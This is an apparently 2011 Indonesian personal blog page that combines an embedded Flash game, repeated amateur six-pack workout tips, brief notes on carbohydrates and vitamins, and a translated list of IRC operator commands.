 |
Sabtu, 15 Oktober 2011
Game
<object type="application/x-shockwave-flash" style="outline:none;" data="http://hosting.gmodules.com/ig/gadgets/file/112581010116074801021/fish.swf?" width="300" height="200"><param name="movie" value="http://hosting.gmodules.com/ig/gadgets/file/112581010116074801021/fish.swf?"></param><param name="AllowScriptAccess" value="always"></param><param name="wmode" value="opaque"></param><param name="scale" value="noscale"/><param name="salign" value="tl"/></object>
Jumat, 07 Oktober 2011
blue matrix
<script type='text/javascript'>
window.setTimeout(function() {
document.body.className = document.body.className.replace('loading', '');
}, 10);
</script>
window.setTimeout(function() {
document.body.className = document.body.className.replace('loading', '');
}, 10);
</script>
Selasa, 31 Mei 2011
Cara membentuk SIX PACK
Gue Kasih Tips Buat Membentuk Perut Six Pack
biasanya ada dua macam keinginan orang tentang mengencangkan otot perut, satu ingin membentuk perutnya saja sehingga terlihat sixpack yang kedua ingin perut datar saja tapi memiliki otot perut yang sangat kuat. orang yg memiliki bentuk sixpack belum tentu memiliki otot perut yang kuat,mungkin keras iya tapi tidak untuk dikatakan kuat.
sit up memang adalah cara terbaik membentuk perut tanpa peralatan tapi tahapan pun penting karena tidak setiap orang kuat melakukan situp sebanyak 20 langsung apalagi dikali beberapa kali, sebaiknya pemula melakukan peregangan dulu ketika bangun tidur baru sit up itupun dimulai dengan misalnya 5 kali lalu setelah tiga hari baru 8 atau 10 kali. ingat untuk jangan pernah memaksakan otot anda, otot bila terluka atau sobek maka akan lama untuk menyembuhkannya. kebanyakan pemula yg melakukan sit up berlebih dari porsi seharusnya malahan mendapat otot perut yang kendor dan malah terlihat seperti buncit dan akan sulit mendapat sixpack dambaannya.
ada 2 macam sit up:
1. sit up pemanasan : yaitu sit up yg dilakukan tanpa aturan napas, cepat dan hanya berfungsi mengencangkan otot luar, biasanya untuk memperindah tubuh dgn bentuk sixpack.
2. sit up otot dalam : yaitu sit up dengan aturan dan ritme napas yg berfungsi mengencangkan otot dalam dan organ tubuh bagian dalam. biasanya untuk olah raga keras seperti thai box, kateda, free fighting dan yang paling utama untuk kesehatan. memperkuat organ dan daya tahan sexual. dan lainnya.
Gw 178cm 65kg
sebenernya mo ngebikin six pack gampang. Ga perlu alat apa2. Cuma perlu alas tidur. Gw berhasil kok bentuk six pack.
Langkah2nya :
1. Sit UP tiap bangun tidur ma sebelum tidur @ 20 x 6 (yg sering ikut fitnes pasti tau )
2. Push up tiap bangun tidur ma sebelum tidur @ 20 x 6 (buat membentuk dada, sama aja kan klo six pack tapi dada ga kebentuk )
20 x 6 maksudnya 20 hitungan 6 sesi
Tiap sesi selang seling sit up terus push up
Tiap sesi di selingi istirahat lebih kurang 5 menit
Dan jangan lupa sering minum air yang banyak , Penting !!!
sit up untuk otot dalam memiliki gerakan yang sama dengan sit up biasa hanya saja di iringi dengan aturan ritme napas yang teratur, dengan adanya aturan napas ini bukan hanya otot perut dalam saja yang kuat tapi juga punggung & rusuk. caranya mudah saja:
lakukan sikap mulai sit up seperti biasa, terlentang letakan tgn di belakang kepala dan tenangkan pikiran.
atur napas sehingga pada saat menarik napas adalah 7 hitungan lalu tahan selama 2 detik dengan perut di tarik kedalam sedikit setelah itu buang selama 7 hitungan.
setelah napas teratur maka tarik napas 7 hitungan lalu tahan setelah itu naik perlahan sehingga mencium lutut (bila mampu) lalu kembali terlentang perlahan setelah benar benar terlentang baru buang napas 7 hitungan, lakukan hal ini 5 kali untuk pertama mencoba. lalu jumlah situp diperbanyak sesuai kemampuan. tapi ingat selama tarik n buang napas harus benar2 7 hitungan karena efeknya bila tdk teratur akan sedikit pusing.
setelah itu lakukan sit up leg rise (posisi V) dengan aturan napas yg sama.
belajarlah menahan napas dengan baik dengan hitungan td dalam keadaan bersila mengahadap kaca sehinga anda tahu bahwa otot leher anda tidak tegang dan usahakan selama menahan napas anda dapat berbicara seperti biasa.
selamat mencoba
biasanya ada dua macam keinginan orang tentang mengencangkan otot perut, satu ingin membentuk perutnya saja sehingga terlihat sixpack yang kedua ingin perut datar saja tapi memiliki otot perut yang sangat kuat. orang yg memiliki bentuk sixpack belum tentu memiliki otot perut yang kuat,mungkin keras iya tapi tidak untuk dikatakan kuat.
sit up memang adalah cara terbaik membentuk perut tanpa peralatan tapi tahapan pun penting karena tidak setiap orang kuat melakukan situp sebanyak 20 langsung apalagi dikali beberapa kali, sebaiknya pemula melakukan peregangan dulu ketika bangun tidur baru sit up itupun dimulai dengan misalnya 5 kali lalu setelah tiga hari baru 8 atau 10 kali. ingat untuk jangan pernah memaksakan otot anda, otot bila terluka atau sobek maka akan lama untuk menyembuhkannya. kebanyakan pemula yg melakukan sit up berlebih dari porsi seharusnya malahan mendapat otot perut yang kendor dan malah terlihat seperti buncit dan akan sulit mendapat sixpack dambaannya
kl mw sit up c emang lebih baik tangan d blakang kepala supaya beratny jatoh ke blakang and bukanny k depan jadi angkat perutny lebih kerasa,kl mw yg angkat setengah jg gpp tp kl bwt pemula mendingan tgn taro d blakang ntar kl ud kebentuk baru deh maen setengah angkat aj jg gpp biar ngencengin aja (hohohoho), kl perut lo ud rata c ngebentukny lumayan gampang asal latian rutin tiap hari pasti kebentuk (maen 3-5 set dg 10-20 kali hitungan tiap set) bentuk six pack gampang justru yg susah bentuk otot dada ma sayap mesti kudu pake alat2 fitness (aplg otot sayap behhh susah amatt mw gedeinny T_T ngebentuk c bisa tp gedeinny itu lo >.< )
kalo badannya kayak lo sih mending ga usah sit up dulu tapi banyak2in pemanasan (thread mil, sepeda or lari sih yg paling cepet) yg ngebakar lemak n kurangin deh porsi makan yg berlebihan trus banyakin makan sayuran n buah ..
Sebelumnya saya mau tahu dulu perutnya sekarang masih berlipat atau uda rata? Kalau masih terasa berlemak saya sarankan untuk melakukan latihan cardio saja terlebih dahulu seperti lari threadmill (kalo suka fitness ), renang, sepeda, dll.
Nah kalau nanti lemaknya sudah hilang baru bisa dilanjutkan dengan tips latihan dibawah ini untuk membentuk SIX PACK anda,
Sit up
Latihan untuk otot perut bagian atas
Duduklah di matras/karpet lalu tekuklah kaki , jika berlatih pada sit ups bench taruhlah kaki pada tempat yang tersedia. Silangkan tangan di dada
Kencangkan perut , lalu turunkan badan ke bawah, tahan sebentar, lalu kembali ke posisi semula.
Jangan melakukan gerakan sampai punggung menyentuh lantai/bench.
Lakukan gerakan dengan perlahan dan terkontrol.
Saat kembali ke posisi awal otot perut tetap dikencangkan dan rasakan tekanan pada otot perut saat posisi badan mendekati paha.
Untuk repetisi sen bisa coba 15-50 kali tergantung berapa loe sanggup tapi untuk set I tidak usah terlalu banyak.
"Kalau masih terasa terlalu ringan, bisa loe tambah dengan beban, tapi jangan berat berat, nter muntah lagi...."
Leg raises
Latihan untuk otot perut bagian bawah
Ini biasanya yang paling capek & susah, tapi loe tenang aja meskipun capek hasilnya juga maksimal lho.., caranya:
Berbaringlah di bangku/lantai datar dan tangan berpegangan pada ujung bangku dibelakang kepala anda, Atau jika dilantai letakkan tangan dibelakang pinggang atau dibelakang kepala. Dengan posisi kaki sedikit bengkok, angkat kaki sehingga membentuk sudut 45 derajat.
Tahan sebentar lalu perlahan kembali ke posisi semula.
Side to side
Latihan untuk otot perut bagian samping
Berdiri tegap dengan kedua tangan memegang dumbbell.
Posisi tangan lurus di samping badan.
Perlahan-lahan gerakkan tubuh ke kiri sampai otot samping perut merasakan tekanan. Tahan sebentar, kembali ke posisi awal.
Perlahan-lahan gerakkan tubuh ke kanan sampai otot samping perut merasakan tekanan.
Kembali ke posisi awal.
Saat tubuh bergerak ke samping jaga agar tubuh tetap tegak dan tidak membungkuk atau condong ke depan.
"Hati hati jangan terlalu capek dan hindari beban terlalu berat, karena apabila terlalu berat bisa menyebabkan cedera pada pinggang."
Lakukanlah latihan perut kurang lebih tiga kali seminggu dibarengi dengan program latihan beban lainnya dan tentunya diet dengan kalori dan nutrisi yang seimbang.
And ingat kalo Bro emang serius, Bro mesti hindari makanan berlemak dan perbanyak makan buah dan sayuran.
Pola makan dalam fitness, apakah ada variasi menu tiap hari/monoton dlm mengkonsumsi telur, beras merah, kacang kedelai dsbnya serta pantangannya.
FAKTOR YG VITAL MEMPENGARUHI PEMBENTUKAN OTOT PERUT :
Kalau mau cepet keluar Sixpacknya bro, harus punya berat badan IDEAL dulu baru kamu bisa konsentrasi pada pembentukan otot perut Six Pack kalau gak lamanya minta ampun bisa2 setahun gak keluar keluar tuh otot
Menggunakan rumus berat badan yg simpel ;
Rumus berat badan IDEAL :
Tinggi badan -110 = Berat badan ideal
misal tinggi loe 170 Cm dikurangin 110 hasilnya 60 Kg
ada temen gue kuliah dulu ASLI keluar sixpacknya tapi ngeri tuh orang badannya agak kurusan dan juga harus jaga makanan alias makan serba terbatas rugi juga sih dipikir, kalau punya SIXPACK tapi gak jadi artis. berat loeh jaga ototnya paling vital sih perut gak boleh terisi penuh ,supaya lemak gak menyebar kemana mana makan kudu diatur apalagi iman harus kuat lihat cemilan kaya pisang goreng,pizza,donat,susu, makanan yg mengandung gula seperti es krim, coffe cream dan minuman ringan coca cola , Fanta dan Sprite
Buat cowo2 gak ada salahnya nyobain perut six pack ?
- bikin badan jadi sehat
- bikin badan tambah indah
- bikin badan tambah Sexy
Kalau gue sih , ntar aja bentuk Six pack tunggu dapat pacar yg bagusan supaya SEX APPEAL gue meningkat Drastis disertai performa daya tahan fisik juga mengalami peningkatan / Enhanced
biasanya ada dua macam keinginan orang tentang mengencangkan otot perut, satu ingin membentuk perutnya saja sehingga terlihat sixpack yang kedua ingin perut datar saja tapi memiliki otot perut yang sangat kuat. orang yg memiliki bentuk sixpack belum tentu memiliki otot perut yang kuat,mungkin keras iya tapi tidak untuk dikatakan kuat.
sit up memang adalah cara terbaik membentuk perut tanpa peralatan tapi tahapan pun penting karena tidak setiap orang kuat melakukan situp sebanyak 20 langsung apalagi dikali beberapa kali, sebaiknya pemula melakukan peregangan dulu ketika bangun tidur baru sit up itupun dimulai dengan misalnya 5 kali lalu setelah tiga hari baru 8 atau 10 kali. ingat untuk jangan pernah memaksakan otot anda, otot bila terluka atau sobek maka akan lama untuk menyembuhkannya. kebanyakan pemula yg melakukan sit up berlebih dari porsi seharusnya malahan mendapat otot perut yang kendor dan malah terlihat seperti buncit dan akan sulit mendapat sixpack dambaannya.
ada 2 macam sit up:
1. sit up pemanasan : yaitu sit up yg dilakukan tanpa aturan napas, cepat dan hanya berfungsi mengencangkan otot luar, biasanya untuk memperindah tubuh dgn bentuk sixpack.
2. sit up otot dalam : yaitu sit up dengan aturan dan ritme napas yg berfungsi mengencangkan otot dalam dan organ tubuh bagian dalam. biasanya untuk olah raga keras seperti thai box, kateda, free fighting dan yang paling utama untuk kesehatan. memperkuat organ dan daya tahan sexual. dan lainnya.
Gw 178cm 65kg
sebenernya mo ngebikin six pack gampang. Ga perlu alat apa2. Cuma perlu alas tidur. Gw berhasil kok bentuk six pack.
Langkah2nya :
1. Sit UP tiap bangun tidur ma sebelum tidur @ 20 x 6 (yg sering ikut fitnes pasti tau )
2. Push up tiap bangun tidur ma sebelum tidur @ 20 x 6 (buat membentuk dada, sama aja kan klo six pack tapi dada ga kebentuk )
20 x 6 maksudnya 20 hitungan 6 sesi
Tiap sesi selang seling sit up terus push up
Tiap sesi di selingi istirahat lebih kurang 5 menit
Dan jangan lupa sering minum air yang banyak , Penting !!!
sit up untuk otot dalam memiliki gerakan yang sama dengan sit up biasa hanya saja di iringi dengan aturan ritme napas yang teratur, dengan adanya aturan napas ini bukan hanya otot perut dalam saja yang kuat tapi juga punggung & rusuk. caranya mudah saja:
lakukan sikap mulai sit up seperti biasa, terlentang letakan tgn di belakang kepala dan tenangkan pikiran.
atur napas sehingga pada saat menarik napas adalah 7 hitungan lalu tahan selama 2 detik dengan perut di tarik kedalam sedikit setelah itu buang selama 7 hitungan.
setelah napas teratur maka tarik napas 7 hitungan lalu tahan setelah itu naik perlahan sehingga mencium lutut (bila mampu) lalu kembali terlentang perlahan setelah benar benar terlentang baru buang napas 7 hitungan, lakukan hal ini 5 kali untuk pertama mencoba. lalu jumlah situp diperbanyak sesuai kemampuan. tapi ingat selama tarik n buang napas harus benar2 7 hitungan karena efeknya bila tdk teratur akan sedikit pusing.
setelah itu lakukan sit up leg rise (posisi V) dengan aturan napas yg sama.
belajarlah menahan napas dengan baik dengan hitungan td dalam keadaan bersila mengahadap kaca sehinga anda tahu bahwa otot leher anda tidak tegang dan usahakan selama menahan napas anda dapat berbicara seperti biasa.
selamat mencoba
biasanya ada dua macam keinginan orang tentang mengencangkan otot perut, satu ingin membentuk perutnya saja sehingga terlihat sixpack yang kedua ingin perut datar saja tapi memiliki otot perut yang sangat kuat. orang yg memiliki bentuk sixpack belum tentu memiliki otot perut yang kuat,mungkin keras iya tapi tidak untuk dikatakan kuat.
sit up memang adalah cara terbaik membentuk perut tanpa peralatan tapi tahapan pun penting karena tidak setiap orang kuat melakukan situp sebanyak 20 langsung apalagi dikali beberapa kali, sebaiknya pemula melakukan peregangan dulu ketika bangun tidur baru sit up itupun dimulai dengan misalnya 5 kali lalu setelah tiga hari baru 8 atau 10 kali. ingat untuk jangan pernah memaksakan otot anda, otot bila terluka atau sobek maka akan lama untuk menyembuhkannya. kebanyakan pemula yg melakukan sit up berlebih dari porsi seharusnya malahan mendapat otot perut yang kendor dan malah terlihat seperti buncit dan akan sulit mendapat sixpack dambaannya
kl mw sit up c emang lebih baik tangan d blakang kepala supaya beratny jatoh ke blakang and bukanny k depan jadi angkat perutny lebih kerasa,kl mw yg angkat setengah jg gpp tp kl bwt pemula mendingan tgn taro d blakang ntar kl ud kebentuk baru deh maen setengah angkat aj jg gpp biar ngencengin aja (hohohoho), kl perut lo ud rata c ngebentukny lumayan gampang asal latian rutin tiap hari pasti kebentuk (maen 3-5 set dg 10-20 kali hitungan tiap set) bentuk six pack gampang justru yg susah bentuk otot dada ma sayap mesti kudu pake alat2 fitness (aplg otot sayap behhh susah amatt mw gedeinny T_T ngebentuk c bisa tp gedeinny itu lo >.< )
kalo badannya kayak lo sih mending ga usah sit up dulu tapi banyak2in pemanasan (thread mil, sepeda or lari sih yg paling cepet) yg ngebakar lemak n kurangin deh porsi makan yg berlebihan trus banyakin makan sayuran n buah ..
Sebelumnya saya mau tahu dulu perutnya sekarang masih berlipat atau uda rata? Kalau masih terasa berlemak saya sarankan untuk melakukan latihan cardio saja terlebih dahulu seperti lari threadmill (kalo suka fitness ), renang, sepeda, dll.
Nah kalau nanti lemaknya sudah hilang baru bisa dilanjutkan dengan tips latihan dibawah ini untuk membentuk SIX PACK anda,
Sit up
Latihan untuk otot perut bagian atas
Duduklah di matras/karpet lalu tekuklah kaki , jika berlatih pada sit ups bench taruhlah kaki pada tempat yang tersedia. Silangkan tangan di dada
Kencangkan perut , lalu turunkan badan ke bawah, tahan sebentar, lalu kembali ke posisi semula.
Jangan melakukan gerakan sampai punggung menyentuh lantai/bench.
Lakukan gerakan dengan perlahan dan terkontrol.
Saat kembali ke posisi awal otot perut tetap dikencangkan dan rasakan tekanan pada otot perut saat posisi badan mendekati paha.
Untuk repetisi sen bisa coba 15-50 kali tergantung berapa loe sanggup tapi untuk set I tidak usah terlalu banyak.
"Kalau masih terasa terlalu ringan, bisa loe tambah dengan beban, tapi jangan berat berat, nter muntah lagi...."
Leg raises
Latihan untuk otot perut bagian bawah
Ini biasanya yang paling capek & susah, tapi loe tenang aja meskipun capek hasilnya juga maksimal lho.., caranya:
Berbaringlah di bangku/lantai datar dan tangan berpegangan pada ujung bangku dibelakang kepala anda, Atau jika dilantai letakkan tangan dibelakang pinggang atau dibelakang kepala. Dengan posisi kaki sedikit bengkok, angkat kaki sehingga membentuk sudut 45 derajat.
Tahan sebentar lalu perlahan kembali ke posisi semula.
Side to side
Latihan untuk otot perut bagian samping
Berdiri tegap dengan kedua tangan memegang dumbbell.
Posisi tangan lurus di samping badan.
Perlahan-lahan gerakkan tubuh ke kiri sampai otot samping perut merasakan tekanan. Tahan sebentar, kembali ke posisi awal.
Perlahan-lahan gerakkan tubuh ke kanan sampai otot samping perut merasakan tekanan.
Kembali ke posisi awal.
Saat tubuh bergerak ke samping jaga agar tubuh tetap tegak dan tidak membungkuk atau condong ke depan.
"Hati hati jangan terlalu capek dan hindari beban terlalu berat, karena apabila terlalu berat bisa menyebabkan cedera pada pinggang."
Lakukanlah latihan perut kurang lebih tiga kali seminggu dibarengi dengan program latihan beban lainnya dan tentunya diet dengan kalori dan nutrisi yang seimbang.
And ingat kalo Bro emang serius, Bro mesti hindari makanan berlemak dan perbanyak makan buah dan sayuran.
Pola makan dalam fitness, apakah ada variasi menu tiap hari/monoton dlm mengkonsumsi telur, beras merah, kacang kedelai dsbnya serta pantangannya.
FAKTOR YG VITAL MEMPENGARUHI PEMBENTUKAN OTOT PERUT :
Kalau mau cepet keluar Sixpacknya bro, harus punya berat badan IDEAL dulu baru kamu bisa konsentrasi pada pembentukan otot perut Six Pack kalau gak lamanya minta ampun bisa2 setahun gak keluar keluar tuh otot
Menggunakan rumus berat badan yg simpel ;
Rumus berat badan IDEAL :
Tinggi badan -110 = Berat badan ideal
misal tinggi loe 170 Cm dikurangin 110 hasilnya 60 Kg
ada temen gue kuliah dulu ASLI keluar sixpacknya tapi ngeri tuh orang badannya agak kurusan dan juga harus jaga makanan alias makan serba terbatas rugi juga sih dipikir, kalau punya SIXPACK tapi gak jadi artis. berat loeh jaga ototnya paling vital sih perut gak boleh terisi penuh ,supaya lemak gak menyebar kemana mana makan kudu diatur apalagi iman harus kuat lihat cemilan kaya pisang goreng,pizza,donat,susu, makanan yg mengandung gula seperti es krim, coffe cream dan minuman ringan coca cola , Fanta dan Sprite
Buat cowo2 gak ada salahnya nyobain perut six pack ?
- bikin badan jadi sehat
- bikin badan tambah indah
- bikin badan tambah Sexy
Kalau gue sih , ntar aja bentuk Six pack tunggu dapat pacar yg bagusan supaya SEX APPEAL gue meningkat Drastis disertai performa daya tahan fisik juga mengalami peningkatan / Enhanced
Tips Cara Membentuk Perut Six Pack
Bagi kebanyakan lelaki memiliki perut Six Pack adalah dambaan yang senantiasa ingin mereka wujudkan karena perut six pack terlihat lebih seksi dan bebas lemak tentunya. Selain olah raga teratur tentunya ada tips tersendiri dalam membentuk perut anda menjadi six pack yakni gerakan-gerakan khusus yang akan mempercepat pembentukan otot perut anda. Berikut cara membuat perut six pack mulai dari tingkat pemula sampai advance.
Bench Crunch
Tingkat pemula: Berbaring, punggung bagian bawah menempel di lantai, kedua lengan disilangkan di atas dada, angkat kedua kaki di atas bangku, paha tegak lurus dengan lantai. Embuskan napas, lalu lengkungkan kepala dan punggung bagian atas ke depan dengan punggung ke bawah tetap menempel di lantai. Usahakan posisi kepala sejajar dengan punggung. Tahan beberapa saat, lalu kembali ke posisi awal.
Tingkat menengah: lakukan gerakan dasar di atas, kedua telapak tangan di belakang kepala, jari-jari tidak saling mengikat, siku menghadap ke depan.
Tingkat lanjutan: Lakukan gerakan dasar, kedua legnan di belakang kepala, kedua siku menyamping.
Tip (untuk tingatkan menengah dan lanjutan): Lengkungkan lalu tahan kepala Anda dengan kedua tangan untuk menghindari cedera leher.
Reverse Curl
Telentang, lutut ditekuk sehingga paha berada pada posisi tegak lurus dengan lantai. Lengan relaks di sisi tubuh, telapak tangan menghadap ke bawah. Perlahan, angkat tulang panggul beberapa sentimeter, sehingga kedua lutut terdorong ke arah dada. Kembali ke posisi semula, lalu ulangi.
Tip: Saat mengangkat panggul, konsentrasikan seluruh pikiran Anda pada kerja otot perut. Gerakkan lutut perlahan, sehingga tidak melayang lalu menabrak dada.
Tingkat lanjutan: Tambahkan beban ringan di bagian pergelangan kaki.
Trunk Curl With Twist
Double Crunch With Twist
Down and Under Twist
Leg Press
Catatan:
1. Yang termasuk tingkat pemula adalah jika Anda sama sekali belum pernah melakukan pembentukan otot atau tergabung dalam program kebugaran, pernah latihan, namun tidak lagi sekurangnya 6 bulan atau lebih; dlam masa penyembuhan dari masalah tulang belakang atau kehamilan.
Latihan yang dianjurkan: No.1 (posisi semula), nomor 2 dan 5.
Set dan reptisi: lakukan satu set yang terdiri dari 10 reptisi secara perlahan-lahan untuk setiap latihan. Istirahat 15 hingga 20 menit untuk setiap latihan. Lakukan 3 hari seminggu.
2. Tingkat menengah, jika Anda telah mulai melakukan pembentukan otot atau kelas latihan aerobik dua atau 3 hari dalam seminggu dalam waktu 6 bulan atau lebih.
Latihan yang harus dilakukan: No.1 (posisi tingkat menengah) 2,3,5,6.
Set dan reptisi: lakukan dua set yang masing-masing terdiri dari 10 reptisi dengan waktu istirahat selama 10 detik di sela-sela set. Lakukan 3 hari seminggu.
3. Tingkat lanjutan, jika Anda telah mengikuti program pembentukan otot 3 hingga 6 hari seminggu dalam waktu 6 bulan atau lebih.
Latihan yang dianjurkan: Semua latihan.
Set dan reptisi: 3 set yang masing-masing terdiri dari 10 reptisi. Lakukan 3-4 hari seminggu.
Tip latihan secara umum:
Ketika mengontraksikan perut, fokuskan pikiran hanya pada menghembuskan napas dan menarik perut ke dalam.
Ok silahkan mencoba semoga bermanfaat!
Bench Crunch
Tingkat pemula: Berbaring, punggung bagian bawah menempel di lantai, kedua lengan disilangkan di atas dada, angkat kedua kaki di atas bangku, paha tegak lurus dengan lantai. Embuskan napas, lalu lengkungkan kepala dan punggung bagian atas ke depan dengan punggung ke bawah tetap menempel di lantai. Usahakan posisi kepala sejajar dengan punggung. Tahan beberapa saat, lalu kembali ke posisi awal.
Tingkat menengah: lakukan gerakan dasar di atas, kedua telapak tangan di belakang kepala, jari-jari tidak saling mengikat, siku menghadap ke depan.
Tingkat lanjutan: Lakukan gerakan dasar, kedua legnan di belakang kepala, kedua siku menyamping.
Tip (untuk tingatkan menengah dan lanjutan): Lengkungkan lalu tahan kepala Anda dengan kedua tangan untuk menghindari cedera leher.
Reverse Curl
Telentang, lutut ditekuk sehingga paha berada pada posisi tegak lurus dengan lantai. Lengan relaks di sisi tubuh, telapak tangan menghadap ke bawah. Perlahan, angkat tulang panggul beberapa sentimeter, sehingga kedua lutut terdorong ke arah dada. Kembali ke posisi semula, lalu ulangi.
Tip: Saat mengangkat panggul, konsentrasikan seluruh pikiran Anda pada kerja otot perut. Gerakkan lutut perlahan, sehingga tidak melayang lalu menabrak dada.
Tingkat lanjutan: Tambahkan beban ringan di bagian pergelangan kaki.
Trunk Curl With Twist
- Telentang, lutut ditekuk, bahu melebar. Telapak kaki menempel di atas lantai. Lengan ditekuk, kedua siku menyamping, teapak tangan di belakang kepala.
- Embuskan napas, angkat bahu dna punggung atas, putar ke samping. Pusatkan gerakan memutar ini pada bagian atas batang tubuh Anda, jangan mendorong bahu dan siku Anda ke depan. Kembali ke posisi semula.
- Angkat kembali tubuh bagian atas, lalu putar ke arah yang berbeda. Lakukan berselang-seling. Satu putaran pada kedua sisi terhitung satu reptisi.
- Tip: Tarik perut Anda ke dalam bersamaan dengan mengangkat tubuh bagian atas dan tahan kepala pada posisi netral sehingga dagu Anda tidak menekan ke dada.
Double Crunch With Twist
- Telentang, kedua kaki diangkat hingga telapak kaki berada di udara, kedua lutut sedikit tertekuk hingga melewati batas panggul.
- Telapak tangan di belakang kepala, kedua siku ke samping.
- Angkat kepala, bahu, dan punggung bagian atas ke arah depan atas. Pada waktu yang bersamaan, angkat pula panggul untuk mengantarkan kedua lutut ke arah dada.
- Tahan, lalu lanjutan dengan memutar salah satu bahu dan siku ke arah lutut yang berseberangan. Kembali ke posisi semula, lalu ulangi mengangkat dan memutar bahu dan siku ke lutut yang berseberangan. Satu putaran ke lutut kiri dan kanan setara dengan satu reptisi.
Down and Under Twist
- Telentang, lutut ke kiri ditekuk, telapak menempel di lantai. Tempatkan pergelangan kaki kanan Anda di atas lutut kaki kiri.
- Tangan kanan sedikit di bawah lutut kanan, siku tangan sedikit ditekuk. Tangan kiri di belakang kepala, siku menghadap ke depan.
- Hembuskan napas sambil mengangkat kepala, bahu dan batang tubuh lurus ke depan atas. Pada posisi puncak, dorong siku kiri ke bawah lengan kanan, mengarah ke pahan kanan.
- Kembali ke posis awal, lalu ulangi. Lakukan seluruh reptisi hanya dalam satu sisi. Ubah posisi kaki dan tangan lalu lakukan reptisi untuk sisi lainnya.
Leg Press
- Telentang, kedua lengan menempel di lantai serta lurus di sisi tubuh dengan telapak menghadap ke bawah.
- Ulurkan kedua kaki ke atas, tegak lurus dengan pinggul, dengan lutut ditekuk mengarah ke dada.
- Angkat panggul hingga beberapa sentimeter dari lantai lalu luruskan kaki.
- Kembali ke posisi semula dengan menekuk kembali kedua lutut Anda. Jangan biarkan kaki jatuh ke bawah melebihi sudut 45 derajat antara paha dan panggul. Lalu ulangi.
- Tingkat lanjutan dapat melakukan ini dengan menambahkan beban di pergelangan kaki dengan berat yang disesuaikan dengan kemampuan.
Catatan:
1. Yang termasuk tingkat pemula adalah jika Anda sama sekali belum pernah melakukan pembentukan otot atau tergabung dalam program kebugaran, pernah latihan, namun tidak lagi sekurangnya 6 bulan atau lebih; dlam masa penyembuhan dari masalah tulang belakang atau kehamilan.
Latihan yang dianjurkan: No.1 (posisi semula), nomor 2 dan 5.
Set dan reptisi: lakukan satu set yang terdiri dari 10 reptisi secara perlahan-lahan untuk setiap latihan. Istirahat 15 hingga 20 menit untuk setiap latihan. Lakukan 3 hari seminggu.
2. Tingkat menengah, jika Anda telah mulai melakukan pembentukan otot atau kelas latihan aerobik dua atau 3 hari dalam seminggu dalam waktu 6 bulan atau lebih.
Latihan yang harus dilakukan: No.1 (posisi tingkat menengah) 2,3,5,6.
Set dan reptisi: lakukan dua set yang masing-masing terdiri dari 10 reptisi dengan waktu istirahat selama 10 detik di sela-sela set. Lakukan 3 hari seminggu.
3. Tingkat lanjutan, jika Anda telah mengikuti program pembentukan otot 3 hingga 6 hari seminggu dalam waktu 6 bulan atau lebih.
Latihan yang dianjurkan: Semua latihan.
Set dan reptisi: 3 set yang masing-masing terdiri dari 10 reptisi. Lakukan 3-4 hari seminggu.
Tip latihan secara umum:
Ketika mengontraksikan perut, fokuskan pikiran hanya pada menghembuskan napas dan menarik perut ke dalam.
Ok silahkan mencoba semoga bermanfaat!
Senin, 09 Mei 2011
Karbohidrat merupakan komponen pangan yang menjadi sumber energi utama dan sumber serat makanan. Komponen ini disusun oleh 3 unsur utama, yaitu karbon (C), hidrogen (H) dan oksigen (O).
Dampak Positif dan Negatif karbohidrat
karbohidrat yang baik adalah karbohidrat yang biasanya tinggi serat dan tetap seperti keadaan alaminya. Dengan ini, Anda akan mendapatkan perasaan yang lebih lengkap dan akan merasa lebih bersemangat lagi. Beberapa contoh di antaranya adalah apel, seledri.
Manfaat karbohidrat baik dan buruk dapat mempengaruhi tubuh Anda dalam banyak cara. Jika Anda menderita diabetes, pemahaman ini sangat penting. Jika anda berencana untuk menyatakan diet, Anda harus berbicara dengan dokter Anda untuk memastikan Anda sehat dan jelas atas pertanyaan apapun yang mungkin Anda miliki.
Tanaman yang mengandung jarbohidrat
seperti padi, gandum, jagung, singkong, sagu,beras, ubikayu, ubi jalar, gandum, dll
Sumber Karbohidrat
Selain beras dan terigu, menurut Made, ada lebih dari 30 jenis aneka pangan lokal sumber karbohidrat. Misalnya saja jagung, grontol, umbi-umbian seperti talas, singkong, gadung, gembili, pisang, huwi, sukun, dan masih banyak lagi.
sember : http://kesehatan.kompas.com/read/2010/07/09/1137359/Sumber.Karbohidrat.Bukan.Cuma.Nasi
Pengertian Vitamin
Pengertian Vitamin adalah sekelompok senyawa organik amina yang sangat penting dan sangat dibutuhkan oleh tubuh, karena vitamin berfungsi untuk membantu pengaturan atau proses kegiatan tubuh (vitamin mempunyai peran sangat penting dalam metabolisme tubuh), karena vitamin tidak dapat dihasilkan oleh tubuh
Sabtu, 16 April 2011
Perintah pada halaman ini hanya tersedia untuk WyldRyde IRC Network Staff; IRCOps, Jasa Administrator, dan Network Administrator.
Perintah diindeks abjad. Contoh perintah yang sebenarnya yang Anda dapat menyalin, menempel, dan mengirim tercantum dalam huruf miring. Penjelasan tentang perintah mengikuti perintah. kata-kata yang digarisbawahi dalam perintah adalah variabel yang perlu diubah untuk mengirim perintah dengan benar. Sebagai contoh # channel harus diubah menjadi nama saluran Anda, Nick nick Anda atau nick pengguna, Teks mungkin pesan yang ingin ditampilkan. Ini dapat bervariasi dengan perintah dan akan dijelaskan dalam deskripsi perintah yang berikut. Variabel di dalam kurung kurawal seperti {ON | OFF} adalah pilihan yang memerlukan salah satu opsi di dalam kurung keriting harus ditentukan.
* ADCHAT: / pesan adchat
Mengirim pesan ke semua Admin.
* ADDMOTD: Pesan / addmotd
Akan menambah teks yang diberikan kepada akhir motd.
* ADDOMOTD: Pesan / addomotd
Akan menambah teks yang diberikan kepada akhir OperMotd.
* CHATOPS: / chatops pesan
GLOBOPS biasanya dicadangkan untuk jaringan informasi penting. Oleh karena itu, untuk Oper Chat, CHATOPS diciptakan. IRCOps dengan bendera c diaktifkan akan dapat mengirim / menerima pesan CHATOPS.
* CHGHOST: / host chghost nick
Perubahan nama host dari pengguna saat ini pada jaringan IRC.
* CHGIDENT: / ident nick chgident
Mengubah ident dari pengguna saat ini pada jaringan IRC.
* CHGNAME: / nick name chgname
Mengubah "IRC Nama" (atau "Nama Asli") dari pengguna saat ini pada jaringan IRC.
* CONNECT: / server terhubung port server
Jika hanya satu server yang diberikan, maka program akan mencoba untuk melakukan koneksi ke server yang Anda ON ke server yang diberikan. Jika 2 server yang diberikan, maka program akan mencoba menghubungkan 2 server bersama-sama. Masukkan server daun sebagai yang pertama, dan server hub sebagai yang kedua.
* DCCDENY / alasan dccdeny filemask
Menambahkan DCCDENY untuk filemask itu. Mencegah dari file yang sedang dikirim. Untuk menghapus menyangkal menggunakan / filemask undccdeny
* DIE: password / mati
